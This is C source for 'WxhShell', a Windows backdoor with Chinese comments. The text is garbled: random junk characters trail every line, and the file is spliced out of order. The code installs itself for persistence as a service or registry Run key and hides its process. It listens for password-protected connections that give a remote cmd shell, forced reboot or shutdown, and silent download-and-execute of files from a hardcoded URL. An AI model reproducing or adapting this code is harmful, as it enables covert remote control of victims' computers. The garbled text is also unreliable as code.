  // 关机 AUwIF/>F(]  
  case 'd': { k2DBm q;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |\/V1  
    if(Boot(SHUTDOWN)) !z_VwZ#,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3k* U/*  
    else { 3ms{gZbw  
    closesocket(wsh); AjMx\'(C  
    ExitThread(0); S*a_  
    } q6zKyOE  
    break; h9j/mUwV  
    } oT[8Iu  
  // 获取shell z/t+t_y  
  case 's': { _.BX#BIF  
    CmdShell(wsh); uDG#L6  
    closesocket(wsh);  `AxhA.&V  
    ExitThread(0); :\,3=suWq  
    break; &+7G|4!y  
  } J@Qw6J  
  // 退出 psAdYEGk!  
  case 'x': { :a y-2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]y<<zQ_fhY  
    CloseIt(wsh); zP#%ya :I  
    break; 1}jwv_0lL  
    } 28d=-s=[  
  // 离开 aDE)Nf}  
  case 'q': { -,} ppTG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '>"-e'1m(  
    closesocket(wsh); ^r0mx{i&  
    WSACleanup(); TkV*^j5  
    exit(1); e"6!0Py#*  
    break; \&5t@sC  
        } ~U_,z)<`)c  
  } zIgD R  
  } J(%kcueb  
@M]7',2"  
  // 提示信息 yf7$m_$C'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MYF6tZ*  
} $_NP4V8|z/  
  } [";<YR7iRN  
kc-v(WIC  
  return; 3*$)9'  
} i;8tA !  
)gP0+W!u  
// shell模块句柄 ^PI8Bvs>j  
int CmdShell(SOCKET sock) Hm55R  
{ rg{|/ ;imT  
STARTUPINFO si; |HMpVT-;j  
ZeroMemory(&si,sizeof(si)); Z4@GcdZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *WpDavovyB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i& ybvTl  
PROCESS_INFORMATION ProcessInfo; (lR9x6yf  
char cmdline[]="cmd"; <X1^w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uQlQ%n%  
  return 0; 0N19R5NN8  
} nnPY8pdjSD  
T?'Vb  
// 自身启动模式 o$-!E(p  
int StartFromService(void) XB'PEvh8  
{ by8~'?  
typedef struct oN6X]T<   
{ O6$d@r;EK]  
  DWORD ExitStatus; NM_Xy<.~E  
  DWORD PebBaseAddress; 9 WhZ= Xk  
  DWORD AffinityMask;  ]7yr.4?a  
  DWORD BasePriority; }Pn]j7u!  
  ULONG UniqueProcessId; 27-GfC=7*  
  ULONG InheritedFromUniqueProcessId; E/_I$<,_y  
}   PROCESS_BASIC_INFORMATION; XUp'wP  
zVU{jmS  
PROCNTQSIP NtQueryInformationProcess; dCkk5&2n  
PhOtSml0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y,QJy=?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :gJ?3LwTf  
.y~vn[qN  
  HANDLE             hProcess; ;VAHgIpx;  
  PROCESS_BASIC_INFORMATION pbi; zwa%$U  
K6l{wyMb|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~t-!{F  
  if(NULL == hInst ) return 0; :7-2^7z)  
xLmgr72D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5g(`U+ ,*(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =1'vXPv`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fNnemn@>  
^N\$oV$  
  if (!NtQueryInformationProcess) return 0; ^*=.Vuqy  
08TeGUjJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CFU'- #b  
  if(!hProcess) return 0; 1SGLA"r  
da/Tms`T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U2D2?#  
V"`t*m$  
  CloseHandle(hProcess); c/Ykk7T9--  
2)zAX"#/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C>:'@o Z  
if(hProcess==NULL) return 0; b,Vg3BS  
}[gk9uM_7  
HMODULE hMod; ecRY,MN  
char procName[255]; U'(@?]2 <G  
unsigned long cbNeeded; "$Mz>]3&q  
jJK`+J,i}X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q'B2!9=LB  
/$ :w8  
  CloseHandle(hProcess); )Z0bMO<  
*VPj BzcH  
if(strstr(procName,"services")) return 1; // 以服务启动 R@8pKCL.  
T7bD t  
  return 0; // 注册表启动 :7 P/ZC%  
} hmQ;!9  
L H8iHB  
// 主模块 ;0c -+,  
int StartWxhshell(LPSTR lpCmdLine) 9cwy;au  
{ Z=&cBv4Fs  
  SOCKET wsl; f6r~Ycf,f  
BOOL val=TRUE; $ rU"Krf67  
  int port=0; 1\aJ[t  
  struct sockaddr_in door; BHZCM^  
y9xvGr[l  
  if(wscfg.ws_autoins) Install(); W#.+C6/  
4,]z  
port=atoi(lpCmdLine); {%b*4x0?  
zv8AvNDK  
if(port<=0) port=wscfg.ws_port; Sd |=*X  
._i|+[  
  WSADATA data; ~>"m`Q&[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <n-}z[09  
'C2X9/!,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s9)U",  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OD O'!T-  
  door.sin_family = AF_INET; O8Dav^\y?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); : [r/ Y  
  door.sin_port = htons(port); 7H l>UX,|  
-$2a@K,i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U7do,jCoa  
closesocket(wsl); hRwj-N%C  
return 1; MoX~ZewWR  
} -+ha4JOB  
,ut-Di=6  
  if(listen(wsl,2) == INVALID_SOCKET) { CVt:tV  
closesocket(wsl);  nLD1j  
return 1; z *FCd6X  
} aJ/}ID  
  Wxhshell(wsl); =} D9sT  
  WSACleanup(); R ~ZcTY[8  
("r\3Mvs  
return 0;  .V   
3HEm-pok  
} )p^" J|  
tg%#W `  
// 以NT服务方式启动 @/,:". SM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ouE/\4'NB  
{ |Fi{]9(G2  
DWORD   status = 0; SYE+A`a  
  DWORD   specificError = 0xfffffff; 2t[P-on  
A+w'quXn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ki6L t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YEPQ/Pc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zo| '  
  serviceStatus.dwWin32ExitCode     = 0; h4#y'E!,Z  
  serviceStatus.dwServiceSpecificExitCode = 0; F(?O7z"d  
  serviceStatus.dwCheckPoint       = 0; 1)o6jGQ  
  serviceStatus.dwWaitHint       = 0; [p+-]V  
C==yl"w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NHL9qL"qk  
  if (hServiceStatusHandle==0) return; hl]q6ZK!6  
/wI"oHZd  
status = GetLastError(); K2> CR$L  
  if (status!=NO_ERROR) { )-8P  
{ !sG# 3sUe[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (hJ&`Tt  
    serviceStatus.dwCheckPoint       = 0; 4OaU1Y[  
    serviceStatus.dwWaitHint       = 0; tiGBjTPt  
    serviceStatus.dwWin32ExitCode     = status; jP{&U&!i  
    serviceStatus.dwServiceSpecificExitCode = specificError; yiw4<]{IX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lHUd<kEC  
    return; ~NMx:PP  
  } S"4eS,5L|  
@xXVJWEU:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nZ'-3  
  serviceStatus.dwCheckPoint       = 0; ?XbM  
  serviceStatus.dwWaitHint       = 0; =%ok:+D]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z ub"Ap3  
} b} 0G~oLP  
rez )$  
// 处理NT服务事件,比如:启动、停止 V1&qgAy~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L</k+a?H!  
{ RY .@_{  
switch(fdwControl) .He}f,!f<  
{ ^6On^k[|fw  
case SERVICE_CONTROL_STOP: F )Iz:  
  serviceStatus.dwWin32ExitCode = 0; @C|nc&E2s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Obf RwZh?q  
  serviceStatus.dwCheckPoint   = 0; w^"IR  
  serviceStatus.dwWaitHint     = 0; v YJ9G"E  
  { ;_=N YG.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PU,%Y_xR  
  } UCt}\IJ  
  return; /go|r '  
case SERVICE_CONTROL_PAUSE: 6CCm1F{`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *4ido?  
  break; RH.qbPjx  
case SERVICE_CONTROL_CONTINUE: 5-hnk' ~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z)}UCi+/".  
  break; zM,r0Z  
case SERVICE_CONTROL_INTERROGATE: C-@[=  
  break; .VCF[AleS  
}; D 5bPF~q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )bWopc  
} k8?G%/TD  
)ViBH\.*p  
// 标准应用程序主函数 9=mc3m:Tb(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1<tJ3>Xl  
{ rz0)S py6  
`a%MD>R_Lg  
// 获取操作系统版本 :h(` eC  
OsIsNt=GetOsVer(); )q66^% ;S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 35Yf,@VO  
nwp(% fBo  
  // 从命令行安装 o_1N "o%  
  if(strpbrk(lpCmdLine,"iI")) Install(); kO5lLqE  
cNbUr  
  // 下载执行文件 a%A!Dz S  
if(wscfg.ws_downexe) { GsmXcBzDw2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OXm`n/64+  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z}TLk^_[  
} R G*Vdom  
$AT@r"  
if(!OsIsNt) { o] Xt2E  
// 如果时win9x,隐藏进程并且设置为注册表启动 41x"Q?.bY  
HideProc(); /O5&)%N  
StartWxhshell(lpCmdLine); e P,bFc  
} QtwQVOK  
else pI:,Lt1B  
  if(StartFromService()) .faf!3d  
  // 以服务方式启动 m8=n`XI  
  StartServiceCtrlDispatcher(DispatchTable); /)T~(o|i  
else Cs_&BSs  
  // 普通方式启动 (6.uNLr  
  StartWxhshell(lpCmdLine); 9b&|'BBW  
P}]o$nWT  
return 0; xbBqR _ H_  
} cGiL9|k  
*f3StX  
+J|H~`  
pB4Uc<e  
=========================================== @)BO`;*$fF  
WR3,woo  
`sCn4-$8  
,sIC=V +  
@AF<Xp{  
V^,eW!  
" gfs;?vP  
zGFD71=#  
#include <stdio.h> i84!x%|P  
#include <string.h> hbOXR.0z  
#include <windows.h> Z4EmRa30 p  
#include <winsock2.h> &iInru3  
#include <winsvc.h> D8<C7  
#include <urlmon.h> 37$ ^ie)  
A*eVz]i,k&  
#pragma comment (lib, "Ws2_32.lib") *I)J%#  
#pragma comment (lib, "urlmon.lib") *X(:vET  
D3 yTN"  
#define MAX_USER   100 // 最大客户端连接数 r|=1{N x  
#define BUF_SOCK   200 // sock buffer Jup)A`64  
#define KEY_BUFF   255 // 输入 buffer ICb!AsL  
v,S5C  
#define REBOOT     0   // 重启 4WJY+)  
#define SHUTDOWN   1   // 关机 p_h/hTi  
QYMfxpiC  
#define DEF_PORT   5000 // 监听端口 yo=L1; H  
{u/1ph-  
#define REG_LEN     16   // 注册表键长度 Y@`uBB[  
#define SVC_LEN     80   // NT服务名长度 X3\PVsH$K  
!+Xul_XG  
// 从dll定义API cf88Fd6l/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Oj;*Gi9E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J7* o%W*V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $uZmIu9Bi+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Hi A E9  
`^Vd*  
// wxhshell配置信息 w.-x2Zg},  
struct WSCFG { _"ciHYHBQ  
  int ws_port;         // 监听端口 cv aG[NF  
  char ws_passstr[REG_LEN]; // 口令 l[Z o,4*  
  int ws_autoins;       // 安装标记, 1=yes 0=no uhh7Ft#H  
  char ws_regname[REG_LEN]; // 注册表键名 Y>8Qj+d  
  char ws_svcname[REG_LEN]; // 服务名 N#K)Z5J)b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cry1gnWG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9F>`M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >[AmIYg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Tb$))O}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .`}TND~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @"@|O>KJ  
+Yc^w5 !(  
}; lN#j%0MaUo  
1EXT^2!D  
// default Wxhshell configuration >jX "  
struct WSCFG wscfg={DEF_PORT, &t^*0/~  
    "xuhuanlingzhe", -67Z!N  
    1, UDh \%?j  
    "Wxhshell", d ItfR'$  
    "Wxhshell", orFwy!  
            "WxhShell Service", &KjMw:l  
    "Wrsky Windows CmdShell Service", #NW+t|E  
    "Please Input Your Password: ", Jt=- >  
  1, `qc"JB  
  "http://www.wrsky.com/wxhshell.exe", ~t)cbF(UO  
  "Wxhshell.exe" fAgeF$9@  
    }; rO7_K>g?  
u%~'+=  
// 消息定义模块 ) 2Ei<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hOwb   
char *msg_ws_prompt="\n\r? for help\n\r#>"; `(FjOd K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w.q`E@ T*  
char *msg_ws_ext="\n\rExit."; hzsQK _;S  
char *msg_ws_end="\n\rQuit."; 2iG+Ek-?"  
char *msg_ws_boot="\n\rReboot..."; )X0=z1$  
char *msg_ws_poff="\n\rShutdown..."; MY,~leP&  
char *msg_ws_down="\n\rSave to "; ~HB#7+b  
1.du#w  
char *msg_ws_err="\n\rErr!"; ^OKm (  
char *msg_ws_ok="\n\rOK!"; pUHgjwT'U  
8ttJ\m  
char ExeFile[MAX_PATH]; uge r:cD  
int nUser = 0; 9\4x<*  
HANDLE handles[MAX_USER]; AioW*`[WjA  
int OsIsNt; ij$NTY=u  
ubM1Qr  
SERVICE_STATUS       serviceStatus; ZaYiby@Ci  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g8Ex$,\,  
&<N8d(  
// 函数声明 KnkmGy  
int Install(void); ^ Kz ?SO  
int Uninstall(void); I?'*vAW<  
int DownloadFile(char *sURL, SOCKET wsh); 8\rca:cF   
int Boot(int flag); p(n0(}eVC'  
void HideProc(void); ~6f/jCluR%  
int GetOsVer(void); G'\[dwD,u  
int Wxhshell(SOCKET wsl); yv4x.cfI2W  
void TalkWithClient(void *cs); \6|y~5Hw{r  
int CmdShell(SOCKET sock); 1eD#-tzV  
int StartFromService(void); pTCD1)  
int StartWxhshell(LPSTR lpCmdLine); K=N&kda   
dHDtY$/_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3gUY13C}:p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V *@q< rQ  
^*}D*=>\  
// 数据结构和表定义 3+Lwtb}XPF  
SERVICE_TABLE_ENTRY DispatchTable[] = Gd 4S7JE  
{ rr tMd  
{wscfg.ws_svcname, NTServiceMain}, k*C69  
{NULL, NULL} l$gJ^Wf2gY  
}; A;;#]]48  
=3035{\  
// 自我安装 nX (bVT4i  
int Install(void) Z?+ )ox  
{ }dN\bb{#  
  char svExeFile[MAX_PATH]; tx5bmF;b)  
  HKEY key; xw8k<`  
  strcpy(svExeFile,ExeFile); Yh1</C  
6]1RxrAV  
// 如果是win9x系统,修改注册表设为自启动 L ci?  
if(!OsIsNt) { Q#%LIkeq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SSI> +A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <.ZIhDiEl  
  RegCloseKey(key); ?Z{/0X)]|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E!Q@AZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BbX$R`f  
  RegCloseKey(key); -9om,U`t  
  return 0; Tv|'6P  
    } }ekNZNcuM  
  } JPDxzp  
} lf( +]k30  
else { wrkw,H  
P'Y(f!%  
// 如果是NT以上系统,安装为系统服务 spA|[\Nl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 96\FJHt Z  
if (schSCManager!=0) $*{,Z<|2  
{ ;l;jTb^l  
  SC_HANDLE schService = CreateService "Erphn  
  ( NuO@N r  
  schSCManager, )j8'6tk)Z  
  wscfg.ws_svcname, oc"p5Y3,Os  
  wscfg.ws_svcdisp, Zna6-0o  
  SERVICE_ALL_ACCESS, ~;HASHu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Kh3i.gm7g  
  SERVICE_AUTO_START, [\ku,yd%0  
  SERVICE_ERROR_NORMAL, \;-Yz  
  svExeFile, niS\0ZA  
  NULL, YMw,C:a4  
  NULL, (h wzA *(c  
  NULL, @>z.chM;  
  NULL, F[c oa5  
  NULL t 9(,JC0  
  ); q,sO<1wAT\  
  if (schService!=0) OkRb3}  
  { gkK(7=r%  
  CloseServiceHandle(schService); :tV"uWZFU  
  CloseServiceHandle(schSCManager); J)g +I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y0 vo-Q  
  strcat(svExeFile,wscfg.ws_svcname); |~76dxU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I_B%F#X)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @u+LF]MY  
  RegCloseKey(key); z/j*zU `  
  return 0; /*g0M2+OZo  
    } `V/kM0A5  
  } x<t ?Yc9  
  CloseServiceHandle(schSCManager); 67/@J)z0%  
} PdKcDKJ  
} 6U).vg<  
MZ)lNU l  
return 1; R UCUEo63  
} |3k r*#  
VnN(lJ  
// 自我卸载 Y3|_&\ v6  
int Uninstall(void) G$)q% b;Lz  
{ }Q[U4G  
  HKEY key; 5#z7Hj&w  
c CjN8<  
if(!OsIsNt) { =8vwaJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #pWy%U  
  RegDeleteValue(key,wscfg.ws_regname); r6D3u(kMb  
  RegCloseKey(key); |xb;#ruR6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "vYjL&4h  
  RegDeleteValue(key,wscfg.ws_regname); N8T.Ye N  
  RegCloseKey(key); <OiH%:G/1  
  return 0; ke6,&s%{j  
  } 5aVZ"h"  
} ?z.  Z_A&  
} 5bZ0}^FYF  
else { JiqhCt\  
rxx VLW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Eb,M+c?  
if (schSCManager!=0) &gh>'z;`r  
{ -Nr*na^H9#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7LaRFL.,kO  
  if (schService!=0) e9\_H=t+  
  { YPs9Pqkn  
  if(DeleteService(schService)!=0) { :S`12*_g"  
  CloseServiceHandle(schService); {_>XsB  
  CloseServiceHandle(schSCManager); 0 Swu]OE  
  return 0; T2?.o.&u  
  } G~zfPBN0D  
  CloseServiceHandle(schService); _+}o/449  
  } C\[:{d  
  CloseServiceHandle(schSCManager); #.FhN x  
} (R s;+S  
} &/Gf@[  
U8aNL sw  
return 1; 3W[||V[r]<  
} \0*dKgN  
-{oZK{a1  
// 从指定url下载文件 WM9({BZ  
int DownloadFile(char *sURL, SOCKET wsh) ;<MHl[jJD  
{ 4<EC50@.  
  HRESULT hr; Ga^:y=m  
char seps[]= "/"; njNqUo>  
char *token; ra ,.vJuT  
char *file; K6F05h 5S  
char myURL[MAX_PATH]; E.B6u, Te  
char myFILE[MAX_PATH]; A'uubFRL2[  
75h]# k9\  
strcpy(myURL,sURL);  ?nJv f  
  token=strtok(myURL,seps); TPj,4&|  
  while(token!=NULL) 8XCT[X  
  { OgK' ~j  
    file=token; D3O)Tj@:}(  
  token=strtok(NULL,seps); ^]/V-!j  
  } '8 ^cl:X  
#T>pu/EQX_  
GetCurrentDirectory(MAX_PATH,myFILE); kB?Uw#  
strcat(myFILE, "\\"); ZKS]BbMZa  
strcat(myFILE, file); WK#c* rsij  
  send(wsh,myFILE,strlen(myFILE),0); J6 A3Hrg  
send(wsh,"...",3,0); y2B'0l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s=R^2;^  
  if(hr==S_OK) OSJL,F,  
return 0; Cpn!}!Gnf  
else do l8O  
return 1; t ,EMyZ  
Y6jgAq  
} i:&$I=  
l?X)]1  
// 系统电源模块 P#:nXc$  
int Boot(int flag) 9*s:Vff{  
{ +wEsfYW  
  HANDLE hToken; eS%8WmCV9<  
  TOKEN_PRIVILEGES tkp; fG@]G9Z  
] P_yN:~  
  if(OsIsNt) { zq$0 ?vGd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h5n@SE>G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8NWuhRRrw  
    tkp.PrivilegeCount = 1; I,/E.cRV<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y :QnK0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LCSJIt  
if(flag==REBOOT) { uesIkJ^Q[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j3R}]F'C*  
  return 0; =QwT)KRB%  
} dA#'HMh@  
else { Nc^:v/(P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }+:X=@Z@  
  return 0; Lu71Qdu09  
} *y~~~ 'J/  
  } e\ZV^h}TQ  
  else { (2 P&@!|  
if(flag==REBOOT) { QNZ#SG8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bz`rSp8h  
  return 0; H=XdgOui  
} eV9,G8  
else {  bIuOB|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b-J6{=k^  
  return 0; [t?:CgI)E  
} Sq`Zuu9t  
} .;dI&0Z  
/i"1e:cK  
return 1; y=}o|/5"  
} Pp;OkI``[  
MdnapxuS  
// win9x进程隐藏模块 FW4#/H  
void HideProc(void) 0c&DSL}6  
{ Gl4f:`  
~kI$8oAry  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i@=(Y~tD`  
  if ( hKernel != NULL ) `{ \)Wuw  
  { DU@SXb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )SaMfP1=v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^ b{~]I  
    FreeLibrary(hKernel); > =Na,D  
  } Ibv`/8xh  
m&- -$sr  
return; qjN*oM,  
} ;YrmT9Jx6  
fKkS_c 2  
// 获取操作系统版本 9$ixjkIg  
int GetOsVer(void) c`UizZ  
{ =_$Hn>vO  
  OSVERSIONINFO winfo; 4@jX{{^6%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Upc_"mkI.  
  GetVersionEx(&winfo); &8JK^zQq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k P=~L=cK  
  return 1; 5[`f(;  
  else As|e=ut(  
  return 0; C)&BtiUN/  
} =]LAL w  
eB<R"Yvi  
// 客户端句柄模块 EuKkIr/(  
int Wxhshell(SOCKET wsl) =BO>Bi&&  
{ C:vVFU|4  
  SOCKET wsh; 76cT}l&.h8  
  struct sockaddr_in client; r_Pi)MPc  
  DWORD myID; C!|Yz=e  
5?>ES*  
  while(nUser<MAX_USER) >UXNR`?  
{ N LSJ D  
  int nSize=sizeof(client); x.q"FXu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L1MG("R  
  if(wsh==INVALID_SOCKET) return 1; 3#{Al[jq  
5>fAO =u!Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tf>"fU\P  
if(handles[nUser]==0) I(qFIV+H R  
  closesocket(wsh); "8\2w]"  
else _rW75n=3b7  
  nUser++; d M;v39  
  } .|KBQMI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /Uni6O)oc  
OyIIJ!(  
  return 0; dlioaYc  
} [I( Yn  
;IR.6k$;  
// 关闭 socket ,b t j6hg  
void CloseIt(SOCKET wsh) OgCz[QXr_  
{ (J.k\d   
closesocket(wsh); x-~=@oiv  
nUser--; Am"&ApK  
ExitThread(0); 8-x)8B  
} B|r'  
-7VQ {nC  
// 客户端请求句柄 yXCHBz6&  
void TalkWithClient(void *cs) ^MvBW6#1  
{ 5a5)hmO RB  
T1(*dVU?  
  SOCKET wsh=(SOCKET)cs; CEBa,hp@  
  char pwd[SVC_LEN]; /1b7f'  
  char cmd[KEY_BUFF]; /sdZf|Zl  
char chr[1]; sE[ Yg8yAt  
int i,j; KESM5p"f  
bv}e[yH  
  while (nUser < MAX_USER) { E^m;Ab=  
M]SeNYDy  
if(wscfg.ws_passstr) { f%rZ2h)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D=}\]Krmay  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #j)"#1IE2W  
  //ZeroMemory(pwd,KEY_BUFF); BCh|^Pk  
      i=0; ">vi=Tr  
  while(i<SVC_LEN) { HbJ^L:/  
9u%(9Ae  
  // 设置超时 Dv~jVIXu  
  fd_set FdRead; @DSKa`  
  struct timeval TimeOut; <4582x,G  
  FD_ZERO(&FdRead); m%s:4Z%=  
  FD_SET(wsh,&FdRead); ~re~Ys  
  TimeOut.tv_sec=8; f'TEua_`  
  TimeOut.tv_usec=0; k +Cwnp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &"^U=f@v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `7R-2 w<b?  
b8glZb*$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gKtgW&PYm  
  pwd=chr[0]; =X7_!vSv  
  if(chr[0]==0xd || chr[0]==0xa) { $ByP 9=|  
  pwd=0; XJ7pX1nf  
  break; \t)`Cp6,[b  
  } \J(kM,ZJ  
  i++; 9T0g%&  
    } `yO'-(@"gY  
#@F.wV0  
  // 如果是非法用户,关闭 socket &_74h);2I:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~yJJ00%  
} w@LLxL>Y  
\J;_%-Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .AZwVP<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I moxg+u  
=Q*3\ )7  
while(1) { } |  
< pZwM  
  ZeroMemory(cmd,KEY_BUFF);  s;-AZr)  
lX"6m}~D  
      // 自动支持客户端 telnet标准   8 #:k  
  j=0; a4pewg'  
  while(j<KEY_BUFF) { /i#";~sO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2+ywl}9  
  cmd[j]=chr[0]; ?hViOh$.  
  if(chr[0]==0xa || chr[0]==0xd) { gU1Pb]]  
  cmd[j]=0; L @Q+HN  
  break; 8[D"  
  } qw{`?1[+  
  j++; x_r*<?OZ  
    } hw(\3h()  
B<0Kl.V  
  // 下载文件 x,ZF+vE  
  if(strstr(cmd,"http://")) { w^U{e xo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [v\m)5  
  if(DownloadFile(cmd,wsh)) <~uzKs0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q!_d6-*u  
